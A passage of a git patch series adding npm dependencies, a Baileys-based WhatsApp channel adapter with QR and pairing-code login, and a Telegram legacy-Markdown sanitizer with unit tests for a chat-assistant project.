">=18" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, "node_modules/supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", @@ -8045,6 +8780,15 @@ "node": ">=6" } }, + "node_modules/thread-stream": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/thread-stream/-/thread-stream-3.1.0.tgz", + "integrity": "sha512-OqyPZ9u96VohAyMfJykzmivOrY2wfMSf3C5TtFJVgN+Hm6aj+voFhlK+kZEIv2FBh1X6Xp3DlnCOfEQ3B2J86A==", + "license": "MIT", + "dependencies": { + "real-require": "^0.2.0" + } + }, "node_modules/tinybench": { "version": "2.9.0", "resolved": "https://registry.npmjs.org/tinybench/-/tinybench-2.9.0.tgz", @@ -8107,6 +8851,24 @@ "node": ">=0.6" } }, + "node_modules/token-types": { + "version": "6.1.2", + "resolved": "https://registry.npmjs.org/token-types/-/token-types-6.1.2.tgz", + "integrity": "sha512-dRXchy+C0IgK8WPC6xvCHFRIWYUbqqdEIKPaKo/AcTUNzwLTK6AH7RjdLWsEZcAN/TBdtfUw3PYEgPr5VPr6ww==", + "license": "MIT", + "dependencies": { + "@borewit/text-codec": "^0.2.1", + "@tokenizer/token": "^0.3.0", + "ieee754": "^1.2.1" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, "node_modules/trim-lines": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/trim-lines/-/trim-lines-3.0.1.tgz", @@ -8245,6 +9007,18 @@ "typescript": ">=4.8.4 <6.0.0" } }, + "node_modules/uint8array-extras": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/uint8array-extras/-/uint8array-extras-1.5.0.tgz", + "integrity": "sha512-rvKSBiC5zqCCiDZ9kAOszZcDvdAHwwIKJG33Ykj43OKcWsnmcBRL09YTU4nOeHZ8Y2a7l1MgTd08SBe9A8Qj6A==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/undici": { "version": "6.24.1", "resolved": "https://registry.npmjs.org/undici/-/undici-6.24.1.tgz", @@ -8618,6 +9392,12 @@ "node": ">= 8" } }, + "node_modules/which-module": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.1.tgz", + "integrity": "sha512-iBdZ57RDvnOR9AGBhML2vFZf7h8vmBjhoaZqODJBFWHVtKkDmKuHai3cx5PgVMrX5YDNp27AofYbAwctSS+vhQ==", + "license": "ISC" + }, "node_modules/why-is-node-running": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz", @@ -8635,6 +9415,12 @@ "node": ">=8" } }, + "node_modules/win-guid": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/win-guid/-/win-guid-0.2.1.tgz", + "integrity": "sha512-gEIQU4mkgl2OPeoNrWflcJFJ3Ae2BPd4eCsHHA/XikslkIVms/nHhvnvzIZV7VLmBvtFlDOzLt9rrZT+n6D67A==", + "license": "MIT" + }, "node_modules/word-wrap": { "version": "1.2.5", "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", @@ -8644,6 +9430,20 @@ "node": ">=0.10.0" } }, + "node_modules/wrap-ansi": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", + "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=8" + } + }, "node_modules/wrappy": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", @@ -8679,12 +9479,105 @@ "node": ">=0.4.0" } }, + "node_modules/y18n": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz", + "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==", + "license": "ISC" + }, "node_modules/yallist": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", "license": "ISC" }, + "node_modules/yargs": { + "version": "15.4.1", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-15.4.1.tgz", + "integrity": "sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A==", + "license": "MIT", + "dependencies": { + "cliui": "^6.0.0", + "decamelize": "^1.2.0", + "find-up": "^4.1.0", + "get-caller-file": "^2.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^2.0.0", + "set-blocking": "^2.0.0", + "string-width": "^4.2.0", + "which-module": "^2.0.0", + "y18n": "^4.0.0", + "yargs-parser": "^18.1.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/yargs-parser": { + "version": "18.1.3", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-18.1.3.tgz", + "integrity": "sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==", + "license": "ISC", + "dependencies": { + "camelcase": "^5.0.0", + "decamelize": "^1.2.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/yargs/node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "license": "MIT", + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/yargs/node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "license": "MIT", + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/yargs/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "license": "MIT", + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/yargs/node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "license": "MIT", + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, "node_modules/yocto-queue": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", diff --git a/package.json b/package.json index c63213c..a2afb75 100644 --- a/package.json +++ b/package.json @@ -34,10 +34,14 @@ "@chat-adapter/whatsapp": "^4.24.0", "@onecli-sh/sdk": "^0.3.1", "@resend/chat-sdk-adapter": "^0.1.1", + "@types/qrcode": "^1.5.6", + "@whiskeysockets/baileys": "^6.7.21", "better-sqlite3": "11.10.0", "chat": "^4.24.0", "chat-adapter-imessage": "^0.1.1", - "cron-parser": "5.5.0" + "cron-parser": "5.5.0", + "pino": "^9.6.0", + "qrcode": "^1.5.4" }, "devDependencies": { "@eslint/js": "^9.35.0", diff --git a/src/channels/index.ts b/src/channels/index.ts index 6efec66..a2a53db 100644 --- a/src/channels/index.ts +++ b/src/channels/index.ts @@ -39,4 +39,5 @@ import './telegram.js'; // gmail (native, no Chat SDK) -// whatsapp baileys (native, no Chat SDK) +// whatsapp (native, no Chat SDK) +import './whatsapp.js'; diff --git a/src/channels/whatsapp.ts b/src/channels/whatsapp.ts new file mode 100644 index 0000000..bcf9360 --- /dev/null +++ b/src/channels/whatsapp.ts @@ -0,0 +1,530 @@ +/** + * WhatsApp channel adapter (v2) — native Baileys v6 implementation. + * + * Implements ChannelAdapter directly (no Chat SDK bridge) using + * @whiskeysockets/baileys v6 (stable). Ports proven v1 infrastructure: + * getMessage fallback, outgoing queue, group metadata cache, LID mapping, + * reconnection with backoff. + * + * Auth credentials persist in data/whatsapp-auth/. On first run: + * - If WHATSAPP_PHONE_NUMBER is set → pairing code (printed to log) + * - Otherwise → QR code (printed to log) + * Subsequent restarts reuse the saved session automatically. + */ +import fs from 'fs'; +import path from 'path'; +import pino from 'pino'; + +import { + makeWASocket, + Browsers, + DisconnectReason, + fetchLatestWaWebVersion, + makeCacheableSignalKeyStore, + normalizeMessageContent, + useMultiFileAuthState, + proto, +} from '@whiskeysockets/baileys'; +import type { GroupMetadata, WAMessageKey, WASocket } from '@whiskeysockets/baileys'; + +import { ASSISTANT_HAS_OWN_NUMBER, ASSISTANT_NAME, DATA_DIR } from '../config.js'; +import { readEnvFile } from '../env.js'; +import { log } from '../log.js'; +import { registerChannelAdapter } from './channel-registry.js'; +import type { + ChannelAdapter, + ChannelSetup, + ConversationConfig, + ConversationInfo, + InboundMessage, + OutboundMessage, +} from './adapter.js'; + +// Baileys v6 bug: getPlatformId sends charCode (49) instead of enum value (1). +// Fixed in Baileys 7.x but not backported. Without this, pairing codes fail with +// "couldn't link device" because WhatsApp receives an invalid platform ID. +// Must use createRequire — ESM `import *` creates a read-only namespace. +import { createRequire } from 'module'; +const _require = createRequire(import.meta.url); +try { + const _generics = _require( + '@whiskeysockets/baileys/lib/Utils/generics', + ) as Record; + _generics.getPlatformId = (browser: string): string => { + const platformType = + proto.DeviceProps.PlatformType[ + browser.toUpperCase() as keyof typeof proto.DeviceProps.PlatformType + ]; + return platformType ? platformType.toString() : '1'; + }; +} catch { + // If CJS require fails (Node version mismatch), pairing codes may not work + // but QR auth will still function fine. + log.warn('Could not patch getPlatformId — pairing code auth may fail'); +} + +const baileysLogger = pino({ level: 'silent' }); + +const AUTH_DIR_NAME = 'whatsapp-auth'; +const GROUP_SYNC_INTERVAL_MS = 24 * 60 * 60 * 1000; // 24h +const GROUP_METADATA_CACHE_TTL_MS = 60_000; // 1 min for outbound sends +const SENT_MESSAGE_CACHE_MAX = 256; +const RECONNECT_DELAY_MS = 5000; + +registerChannelAdapter('whatsapp', { + factory: () => { + const env = readEnvFile(['WHATSAPP_PHONE_NUMBER']); + const phoneNumber = env.WHATSAPP_PHONE_NUMBER; + const authDir = path.join(DATA_DIR, AUTH_DIR_NAME); + + // Skip if no existing auth and no phone number for pairing + const hasAuth = fs.existsSync(path.join(authDir, 'creds.json')); + if (!hasAuth && !phoneNumber) return null; + + fs.mkdirSync(authDir, { recursive: true }); + + // State + let sock: WASocket; + let connected = false; + let setupConfig: ChannelSetup; + let conversations: Map; + + // LID → phone JID mapping (WhatsApp's new ID system) + const lidToPhoneMap: Record = {}; + let botLidUser: string | undefined; + + // Outgoing queue for messages sent while disconnected + const outgoingQueue: Array<{ jid: string; text: string }> = []; + let flushing = false; + + // Sent message cache for retry/re-encrypt requests + const sentMessageCache = new Map(); + + // Group metadata cache with TTL + const groupMetadataCache = new Map(); + + // Group sync tracking + let lastGroupSync = 0; + let groupSyncTimerStarted = false; + + // First-connect promise + let resolveFirstOpen: (() => void) | undefined; + let rejectFirstOpen: ((err: Error) => void) | undefined; + + // Pairing code file for the setup skill to poll + const pairingCodeFile = path.join(DATA_DIR, 'whatsapp-pairing-code.txt'); + + // --- Helpers --- + + function buildConversationMap(configs: ConversationConfig[]): Map { + const map = new Map(); + for (const conv of configs) map.set(conv.platformId, conv); + return map; + } + + function setLidPhoneMapping(lidUser: string, phoneJid: string): void { + if (lidToPhoneMap[lidUser] === phoneJid) return; + lidToPhoneMap[lidUser] = phoneJid; + // Cached group metadata depends on participant IDs — invalidate + groupMetadataCache.clear(); + } + + async function translateJid(jid: string): Promise { + if (!jid.endsWith('@lid')) return jid; + const lidUser = jid.split('@')[0].split(':')[0]; + + const cached = lidToPhoneMap[lidUser]; + if (cached) return cached; + + // Query Baileys' signal repository + try { + // eslint-disable-next-line @typescript-eslint/no-explicit-any + const pn = await (sock.signalRepository as any)?.lidMapping?.getPNForLID(jid); + if (pn) { + const phoneJid = `${pn.split('@')[0].split(':')[0]}@s.whatsapp.net`; + setLidPhoneMapping(lidUser, phoneJid); + log.info('Translated LID to phone JID', { lidJid: jid, phoneJid }); + return phoneJid; + } + } catch (err) { + log.debug('Failed to resolve LID via signalRepository', { jid, err }); + } + + return jid; + } + + async function getNormalizedGroupMetadata(jid: string): Promise { + if (!jid.endsWith('@g.us')) return undefined; + + const cached = groupMetadataCache.get(jid); + if (cached && cached.expiresAt > Date.now()) return cached.metadata; + + const metadata = await sock.groupMetadata(jid); + const participants = await Promise.all( + metadata.participants.map(async (p) => ({ + ...p, + id: await translateJid(p.id), + })), + ); + const normalized = { ...metadata, participants }; + groupMetadataCache.set(jid, { + metadata: normalized, + expiresAt: Date.now() + GROUP_METADATA_CACHE_TTL_MS, + }); + return normalized; + } + + async function syncGroupMetadata(force = false): Promise { + if (!force && lastGroupSync && Date.now() - lastGroupSync < GROUP_SYNC_INTERVAL_MS) { + return; + } + try { + log.info('Syncing group metadata from WhatsApp...'); + const groups = await sock.groupFetchAllParticipating(); + let count = 0; + for (const [jid, metadata] of Object.entries(groups)) { + if (metadata.subject) { + setupConfig.onMetadata(jid, metadata.subject, true); + count++; + } + } + lastGroupSync = Date.now(); + log.info('Group metadata synced', { count }); + } catch (err) { + log.error('Failed to sync group metadata', { err }); + } + } + + async function flushOutgoingQueue(): Promise { + if (flushing || outgoingQueue.length === 0) return; + flushing = true; + try { + log.info('Flushing outgoing message queue', { count: outgoingQueue.length }); + while (outgoingQueue.length > 0) { + const item = outgoingQueue.shift()!; + const sent = await sock.sendMessage(item.jid, { text: item.text }); + if (sent?.key?.id && sent.message) { + sentMessageCache.set(sent.key.id, sent.message); + } + } + } finally { + flushing = false; + } + } + + async function sendRawMessage(jid: string, text: string): Promise { + if (!connected) { + outgoingQueue.push({ jid, text }); + log.info('WA disconnected, message queued', { jid, queueSize: outgoingQueue.length }); + return; + } + try { + const sent = await sock.sendMessage(jid, { text }); + if (sent?.key?.id && sent.message) { + sentMessageCache.set(sent.key.id, sent.message); + if (sentMessageCache.size > SENT_MESSAGE_CACHE_MAX) { + const oldest = sentMessageCache.keys().next().value!; + sentMessageCache.delete(oldest); + } + } + return sent?.key?.id ?? undefined; + } catch (err) { + outgoingQueue.push({ jid, text }); + log.warn('Failed to send, message queued', { jid, err, queueSize: outgoingQueue.length }); + return undefined; + } + } + + // --- Socket creation --- + + async function connectSocket(): Promise { + const { state, saveCreds } = await useMultiFileAuthState(authDir); + + const { version } = await fetchLatestWaWebVersion({}).catch((err) => { + log.warn('Failed to fetch latest WA Web version, using default', { err }); + return { version: undefined }; + }); + + sock = makeWASocket({ + version, + auth: { + creds: state.creds, + keys: makeCacheableSignalKeyStore(state.keys, baileysLogger), + }, + printQRInTerminal: false, + logger: baileysLogger, + browser: Browsers.macOS('Chrome'), + cachedGroupMetadata: async (jid: string) => getNormalizedGroupMetadata(jid), + getMessage: async (key: WAMessageKey) => { + // Check in-memory cache first (recently sent messages) + const cached = sentMessageCache.get(key.id || ''); + if (cached) return cached; + // Return empty message to prevent indefinite "waiting for this message" + return proto.Message.fromObject({}); + }, + }); + + // Request pairing code if phone number is set and not yet registered + if (phoneNumber && !state.creds.registered) { + setTimeout(async () => { + try { + const code = await sock.requestPairingCode(phoneNumber); + log.info(`WhatsApp pairing code: ${code}`); + log.info('Enter in WhatsApp > Linked Devices > Link with phone number'); + fs.writeFileSync(pairingCodeFile, code, 'utf-8'); + } catch (err) { + log.error('Failed to request pairing code', { err }); + } + }, 3000); + } + + sock.ev.on('connection.update', (update) => { + const { connection, lastDisconnect, qr } = update; + + if (qr && !phoneNumber) { + // QR code auth — print to terminal + (async () => { + try { + const QRCode = await import('qrcode'); + const qrText = await QRCode.toString(qr, { type: 'terminal' }); + log.info('WhatsApp QR code — scan with WhatsApp > Linked Devices:\n' + qrText); + } catch { + log.info('WhatsApp QR code (raw)', { qr }); + } + })(); + } + + if (connection === 'close') { + connected = false; + const reason = (lastDisconnect?.error as { output?: { statusCode?: number } })?.output + ?.statusCode; + const shouldReconnect = reason !== DisconnectReason.loggedOut; + + log.info('WhatsApp connection closed', { reason, shouldReconnect }); + + if (shouldReconnect) { + log.info('Reconnecting...'); + connectSocket().catch((err) => { + log.error('Failed to reconnect, retrying in 5s', { err }); + setTimeout(() => { + connectSocket().catch((err2) => { + log.error('Reconnection retry failed', { err: err2 }); + }); + }, RECONNECT_DELAY_MS); + }); + } else { + log.info('WhatsApp logged out'); + if (rejectFirstOpen) { + rejectFirstOpen(new Error('WhatsApp logged out')); + rejectFirstOpen = undefined; + resolveFirstOpen = undefined; + } + } + } else if (connection === 'open') { + connected = true; + log.info('Connected to WhatsApp'); + + // Clean up pairing code file after successful connection + try { + if (fs.existsSync(pairingCodeFile)) fs.unlinkSync(pairingCodeFile); + } catch { /* ignore */ } + + // Announce availability for presence updates + sock.sendPresenceUpdate('available').catch((err) => { + log.warn('Failed to send presence update', { err }); + }); + + // Build LID → phone mapping from auth state + if (sock.user) { + const phoneUser = sock.user.id.split(':')[0]; + const lidUser = sock.user.lid?.split(':')[0]; + if (lidUser && phoneUser) { + setLidPhoneMapping(lidUser, `${phoneUser}@s.whatsapp.net`); + botLidUser = lidUser; + } + } + + // Flush queued messages + flushOutgoingQueue().catch((err) => log.error('Failed to flush outgoing queue', { err })); + + // Group sync + syncGroupMetadata().catch((err) => log.error('Initial group sync failed', { err })); + if (!groupSyncTimerStarted) { + groupSyncTimerStarted = true; + setInterval(() => { + syncGroupMetadata().catch((err) => log.error('Periodic group sync failed', { err })); + }, GROUP_SYNC_INTERVAL_MS); + } + + // Signal first open + if (resolveFirstOpen) { + resolveFirstOpen(); + resolveFirstOpen = undefined; + rejectFirstOpen = undefined; + } + } + }); + + sock.ev.on('creds.update', saveCreds); + + // Phone number sharing events — update LID mapping + sock.ev.on('chats.phoneNumberShare', ({ lid, jid }) => { + const lidUser = lid?.split('@')[0].split(':')[0]; + if (lidUser && jid) setLidPhoneMapping(lidUser, jid); + }); + + // Inbound messages + sock.ev.on('messages.upsert', async ({ messages }) => { + for (const msg of messages) { + try { + if (!msg.message) continue; + const normalized = normalizeMessageContent(msg.message); + if (!normalized) continue; + const rawJid = msg.key.remoteJid; + if (!rawJid || rawJid === 'status@broadcast') continue; + + // Translate LID → phone JID + let chatJid = await translateJid(rawJid); + // eslint-disable-next-line @typescript-eslint/no-explicit-any + if (chatJid.endsWith('@lid') && (msg.key as any).senderPn) { + // eslint-disable-next-line @typescript-eslint/no-explicit-any + const pn = (msg.key as any).senderPn as string; + const phoneJid = pn.includes('@') ? pn : `${pn}@s.whatsapp.net`; + setLidPhoneMapping(rawJid.split('@')[0].split(':')[0], phoneJid); + chatJid = phoneJid; + } + + const timestamp = new Date(Number(msg.messageTimestamp) * 1000).toISOString(); + const isGroup = chatJid.endsWith('@g.us'); + + // Notify metadata for group discovery + setupConfig.onMetadata(chatJid, undefined, isGroup); + + // Only forward messages for registered conversations + if (!conversations.has(chatJid)) continue; + + let content = + normalized.conversation || + normalized.extendedTextMessage?.text || + normalized.imageMessage?.caption || + normalized.videoMessage?.caption || + ''; + + // Normalize bot LID mention → assistant name for trigger matching + if (botLidUser && content.includes(`@${botLidUser}`)) { + content = content.replace(`@${botLidUser}`, `@${ASSISTANT_NAME}`); + } + + // Skip empty protocol messages + if (!content) continue; + + const sender = msg.key.participant || msg.key.remoteJid || ''; + const senderName = msg.pushName || sender.split('@')[0]; + const fromMe = msg.key.fromMe || false; + const isBotMessage = ASSISTANT_HAS_OWN_NUMBER + ? fromMe + : content.startsWith(`${ASSISTANT_NAME}:`); + + const inbound: InboundMessage = { + id: msg.key.id || `wa-${Date.now()}`, + kind: 'chat', + content: { + text: content, + sender, + senderName, + fromMe, + isBotMessage, + isGroup, + chatJid, + }, + timestamp, + }; + + // WhatsApp doesn't use threads — threadId is null + setupConfig.onInbound(chatJid, null, inbound); + } catch (err) { + log.error('Error processing incoming WhatsApp message', { + err, + remoteJid: msg.key?.remoteJid, + }); + } + } + }); + } + + // --- ChannelAdapter implementation --- + + const adapter: ChannelAdapter = { + name: 'whatsapp', + channelType: 'whatsapp', + supportsThreads: false, + + async setup(hostConfig: ChannelSetup) { + setupConfig = hostConfig; + conversations = buildConversationMap(hostConfig.conversations); + + // Connect and wait for first open + await new Promise((resolve, reject) => { + resolveFirstOpen = resolve; + rejectFirstOpen = reject; + connectSocket().catch(reject); + }); + + log.info('WhatsApp adapter initialized'); + }, + + async deliver(platformId: string, _threadId: string | null, message: OutboundMessage): Promise { + const content = message.content as Record; + + // Typing indicator (composing → paused is handled by the host) + const text = (content.markdown as string) || (content.text as string); + if (!text) return; + + // Prefix bot messages on shared number + const prefixed = ASSISTANT_HAS_OWN_NUMBER ? text : `${ASSISTANT_NAME}: ${text}`; + + return sendRawMessage(platformId, prefixed); + }, + + async setTyping(platformId: string) { + try { + await sock.sendPresenceUpdate('composing', platformId); + } catch (err) { + log.debug('Failed to update typing status', { jid: platformId, err }); + } + }, + + async teardown() { + connected = false; + sock?.end(undefined); + log.info('WhatsApp adapter shut down'); + }, + + isConnected() { + return connected; + }, + + async syncConversations(): Promise { + try { + const groups = await sock.groupFetchAllParticipating(); + return Object.entries(groups) + .filter(([, m]) => m.subject) + .map(([jid, m]) => ({ + platformId: jid, + name: m.subject, + isGroup: true, + })); + } catch (err) { + log.error('Failed to sync WhatsApp conversations', { err }); + return []; + } + }, + + updateConversations(configs: ConversationConfig[]) { + conversations = buildConversationMap(configs); + }, + }; + + return adapter; + }, +}); From f304c67318edef9011537f9248d1869da83a2283 Mon Sep 17 00:00:00 2001 From: Koshkoshinsk Date: Tue, 14 Apr 2026 10:30:32 +0000 Subject: [PATCH 138/485] fix(telegram): sanitize outbound markdown for legacy parse mode MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The @chat-adapter/telegram adapter hardcodes parse_mode=Markdown (legacy) but its converter emits CommonMark. Messages containing **bold** or list bullets that round-trip to `*` produce "can't parse entities" errors and get dropped after retries. Add an opt-in transformOutboundText hook on the chat-sdk bridge and wire a Telegram-specific sanitizer that downgrades **bold** to *bold*, rewrites dash/plus list bullets to a Unicode bullet so the adapter's re-stringify doesn't inject stray `*`, and strips unbalanced delimiters or brackets. Only Telegram opts in; other channels are unaffected. Workaround until upstream (vercel/chat) ships mode-aware conversion — PR #367 adds a parseMode knob but not the converter fix. Co-Authored-By: Claude Opus 4.6 (1M context) --- src/channels/chat-sdk-bridge.ts | 13 +++- .../telegram-markdown-sanitize.test.ts | 70 +++++++++++++++++++ src/channels/telegram-markdown-sanitize.ts | 50 +++++++++++++ src/channels/telegram.ts | 2 + 4 files changed, 133 insertions(+), 2 deletions(-) create mode 100644 src/channels/telegram-markdown-sanitize.test.ts create mode 100644 src/channels/telegram-markdown-sanitize.ts diff --git a/src/channels/chat-sdk-bridge.ts b/src/channels/chat-sdk-bridge.ts index 02ddeba..21c5088 100644 --- a/src/channels/chat-sdk-bridge.ts +++ b/src/channels/chat-sdk-bridge.ts @@ -57,10 +57,18 @@ export interface ChatSdkBridgeConfig { * way and the default depends on installation style. */ supportsThreads: boolean; + /** + * Optional transform applied to outbound text/markdown before it reaches the + * adapter. Used by channels that need to sanitize for a platform-specific + * quirk (e.g. Telegram's legacy Markdown parse mode). + */ + transformOutboundText?: (text: string) => string; } export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter { const { adapter } = config; + const transformText = (t: string): string => + config.transformOutboundText ? config.transformOutboundText(t) : t; let chat: Chat; let state: SqliteStateAdapter; let setupConfig: ChannelSetup; @@ -321,7 +329,7 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter if (content.operation === 'edit' && content.messageId) { await adapter.editMessage(tid, content.messageId as string, { - markdown: (content.text as string) || (content.markdown as string) || '', + markdown: transformText((content.text as string) || (content.markdown as string) || ''), }); return; } @@ -370,7 +378,8 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter } // Normal message - const text = (content.markdown as string) || (content.text as string); + const rawText = (content.markdown as string) || (content.text as string); + const text = rawText ? transformText(rawText) : rawText; if (text) { // Attach files if present (FileUpload format: { data, filename }) const fileUploads = message.files?.map((f: { data: Buffer; filename: string }) => ({ diff --git a/src/channels/telegram-markdown-sanitize.test.ts b/src/channels/telegram-markdown-sanitize.test.ts new file mode 100644 index 0000000..d6aea12 --- /dev/null +++ b/src/channels/telegram-markdown-sanitize.test.ts @@ -0,0 +1,70 @@ +import { describe, it, expect } from 'vitest'; +import { sanitizeTelegramLegacyMarkdown } from './telegram-markdown-sanitize.js'; + +describe('sanitizeTelegramLegacyMarkdown', () => { + it('downgrades CommonMark **bold** to legacy *bold*', () => { + expect(sanitizeTelegramLegacyMarkdown('**Host path**')).toBe('*Host path*'); + }); + + it('downgrades CommonMark __bold__ to legacy _italic_', () => { + expect(sanitizeTelegramLegacyMarkdown('__label__')).toBe('_label_'); + }); + + it('leaves balanced legacy *bold* and _italic_ alone', () => { + expect(sanitizeTelegramLegacyMarkdown('a *b* c _d_ e')).toBe('a *b* c _d_ e'); + }); + + it('preserves inline code spans untouched', () => { + const input = 'see `file_name.py` and `**not bold**` here'; + expect(sanitizeTelegramLegacyMarkdown(input)).toBe(input); + }); + + it('preserves fenced code blocks untouched', () => { + const input = '```\nfoo_bar **baz**\n```'; + expect(sanitizeTelegramLegacyMarkdown(input)).toBe(input); + }); + + it('strips formatting chars on odd delimiter count (unbalanced *)', () => { + expect(sanitizeTelegramLegacyMarkdown('a * b *c*')).toBe('a b c'); + }); + + it('strips formatting chars on odd delimiter count (unbalanced _)', () => { + expect(sanitizeTelegramLegacyMarkdown('file_name has _one italic_')).toBe( + 'filename has one italic', + ); + }); + + it('strips brackets when unbalanced', () => { + expect(sanitizeTelegramLegacyMarkdown('see [docs here')).toBe('see docs here'); + }); + + it('leaves matched brackets (e.g. links) alone when counts balance', () => { + const input = 'see [docs](https://example.com) for more'; + expect(sanitizeTelegramLegacyMarkdown(input)).toBe(input); + }); + + it('fixes the real failing message', () => { + const input = + 'Sure! What do you want to mount, and where should it appear inside the container?\n\n' + + '- **Host path** (on your machine): e.g. `~/projects/webapp`\n' + + '- **Container path**: e.g. `workspace/webapp`\n' + + '- **Read-only or read-write?**'; + const out = sanitizeTelegramLegacyMarkdown(input); + expect(out).not.toContain('**'); + expect(out).toContain('*Host path*'); + expect(out).toContain('`~/projects/webapp`'); + expect((out.match(/\*/g) ?? []).length % 2).toBe(0); + }); + + it('is a no-op on empty string', () => { + expect(sanitizeTelegramLegacyMarkdown('')).toBe(''); + }); + + it('replaces dash list bullets with • so the adapter does not re-emit `*` markers', () => { + expect(sanitizeTelegramLegacyMarkdown('- one\n- two')).toBe('• one\n• two'); + }); + + it('preserves indented list structure', () => { + expect(sanitizeTelegramLegacyMarkdown(' - nested')).toBe(' • nested'); + }); +}); diff --git a/src/channels/telegram-markdown-sanitize.ts b/src/channels/telegram-markdown-sanitize.ts new file mode 100644 index 0000000..be92954 --- /dev/null +++ b/src/channels/telegram-markdown-sanitize.ts @@ -0,0 +1,50 @@ +/** + * Sanitize outbound text for Telegram's legacy `Markdown` parse mode. + * + * WORKAROUND: The @chat-adapter/telegram adapter hardcodes parse_mode=Markdown + * (legacy) but its converter emits CommonMark. Messages with `**bold**`, odd + * delimiter counts, or malformed links are rejected by Telegram and dropped + * after retries. Remove this once upstream ships real mode-aware conversion + * (vercel/chat PR #367 adds the knob; a follow-up is needed for the converter). + */ + +const CODE_PATTERN = /```[\s\S]*?```|`[^`\n]*`/g; +const PLACEHOLDER_PREFIX = '\x00CODE'; +const PLACEHOLDER_SUFFIX = '\x00'; + +export function sanitizeTelegramLegacyMarkdown(input: string): string { + if (!input) return input; + + const codeSegments: string[] = []; + let text = input.replace(CODE_PATTERN, (m) => { + codeSegments.push(m); + return `${PLACEHOLDER_PREFIX}${codeSegments.length - 1}${PLACEHOLDER_SUFFIX}`; + }); + + // The adapter re-parses and re-stringifies markdown before sending, which + // rewrites `- item` list bullets into `* item` — injecting unbalanced + // asterisks that Telegram's legacy Markdown parser then rejects. Replace + // list bullets with a plain Unicode bullet so the adapter treats the line + // as prose. + text = text.replace(/^(\s*)[-+]\s+/gm, '$1• '); + + text = text.replace(/\*\*([^*\n]+?)\*\*/g, '*$1*'); + text = text.replace(/__([^_\n]+?)__/g, '_$1_'); + + const starCount = (text.match(/\*/g) ?? 